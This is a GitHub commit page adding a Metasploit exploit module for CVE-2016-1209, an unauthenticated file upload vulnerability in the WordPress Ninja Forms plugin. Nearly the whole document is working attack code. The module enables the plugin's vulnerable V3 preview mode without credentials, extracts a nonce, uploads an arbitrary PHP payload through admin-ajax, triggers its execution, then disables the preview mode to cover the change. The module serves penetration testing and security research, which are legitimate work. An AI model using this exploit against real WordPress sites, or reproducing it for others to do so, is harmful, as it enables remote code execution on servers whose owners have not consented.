Skip to content

Commit fb95abc

Browse files
committed
Land rapid7#6909, Add WordPress Ninja Forms unauthenticated file upload
2 parents 05680ab + 14e1baf commit fb95abc

File tree

1 file changed

+158
-0
lines changed

1 file changed

+158
-0
lines changed
Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
##
2+
# This module requires Metasploit: http://www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::FileDropper
12+
include Msf::Exploit::Remote::HTTP::Wordpress
13+
14+
def initialize(info = {})
15+
super(update_info(
16+
info,
17+
'Name' => 'WordPress Ninja Forms Unauthenticated File Upload',
18+
'Description' => %(
19+
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
20+
an unauthenticated file upload vulnerability, allowing guests
21+
to upload arbitrary PHP code that can be executed in the context
22+
of the web server.
23+
),
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'James Golovich', # Discovery and disclosure
28+
'Rob Carr <rob[at]rastating.com>' # Metasploit module
29+
],
30+
'References' =>
31+
[
32+
['CVE', '2016-1209'],
33+
['WPVDB', '8485'],
34+
['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
35+
],
36+
'DisclosureDate' => 'May 04 2016',
37+
'Platform' => 'php',
38+
'Arch' => ARCH_PHP,
39+
'Targets' => [['ninja-forms', {}]],
40+
'DefaultTarget' => 0
41+
))
42+
43+
opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
44+
register_options(opts, self.class)
45+
end
46+
47+
def print_status(msg='')
48+
super("#{peer} - #{msg}")
49+
end
50+
51+
def print_good(msg='')
52+
super("#{peer} - #{msg}")
53+
end
54+
55+
def print_error(msg='')
56+
super("#{peer} - #{msg}")
57+
end
58+
59+
def check
60+
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
61+
end
62+
63+
def enable_v3_functionality
64+
print_status 'Enabling vulnerable V3 functionality...'
65+
res = send_request_cgi(
66+
'method' => 'GET',
67+
'uri' => target_uri.path,
68+
'vars_get' => { 'nf-switcher' => 'upgrade' }
69+
)
70+
71+
unless res && res.code == 200
72+
fail_with(Failure::Unreachable, 'Failed to enable the vulnerable V3 functionality')
73+
end
74+
75+
vprint_good 'Enabled V3 functionality'
76+
end
77+
78+
def disable_v3_functionality
79+
print_status 'Disabling vulnerable V3 functionality...'
80+
res = send_request_cgi(
81+
'method' => 'GET',
82+
'uri' => target_uri.path,
83+
'vars_get' => { 'nf-switcher' => 'rollback' }
84+
)
85+
86+
if res && res.code == 200
87+
vprint_good 'Disabled V3 functionality'
88+
else
89+
print_error 'Failed to disable the vulnerable V3 functionality'
90+
end
91+
end
92+
93+
def generate_mime_message(payload_name, nonce)
94+
data = Rex::MIME::Message.new
95+
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
96+
data.add_part(nonce, nil, nil, 'form-data; name="security"')
97+
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
98+
data
99+
end
100+
101+
def fetch_ninja_form_nonce
102+
uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
103+
res = send_request_cgi(
104+
'method' => 'GET',
105+
'uri' => uri
106+
)
107+
108+
fail_with Failure::UnexpectedReply, 'Failed to acquire a nonce' unless res && res.code == 200
109+
res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1]
110+
end
111+
112+
def upload_payload(data)
113+
res = send_request_cgi(
114+
'method' => 'POST',
115+
'uri' => wordpress_url_admin_ajax,
116+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
117+
'data' => data.to_s
118+
)
119+
120+
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
121+
vprint_error("Server responded with status code #{res.code}") if res.code != 200
122+
end
123+
124+
def execute_payload(payload_name, payload_url)
125+
register_files_for_cleanup("nftmp-#{payload_name.downcase}")
126+
res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
127+
128+
if !res.nil? && res.code == 404
129+
print_error("Failed to upload the payload")
130+
else
131+
print_good("Executed payload")
132+
end
133+
end
134+
135+
def exploit
136+
# Vulnerable code is only available in the version 3 preview mode, which can be
137+
# enabled by unauthenticated users due to lack of user level validation.
138+
enable_v3_functionality
139+
140+
# Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
141+
# page that contains a form generated by Ninja Forms.
142+
nonce = fetch_ninja_form_nonce
143+
144+
print_status("Preparing payload...")
145+
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
146+
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
147+
data = generate_mime_message(payload_name, nonce)
148+
149+
print_status("Uploading payload to #{payload_url}")
150+
upload_payload(data)
151+
152+
print_status("Executing the payload...")
153+
execute_payload(payload_name, payload_url)
154+
155+
# Once the payload has been executed, we can disable the preview functionality again.
156+
disable_v3_functionality
157+
end
158+
end

0 commit comments

Comments
 (0)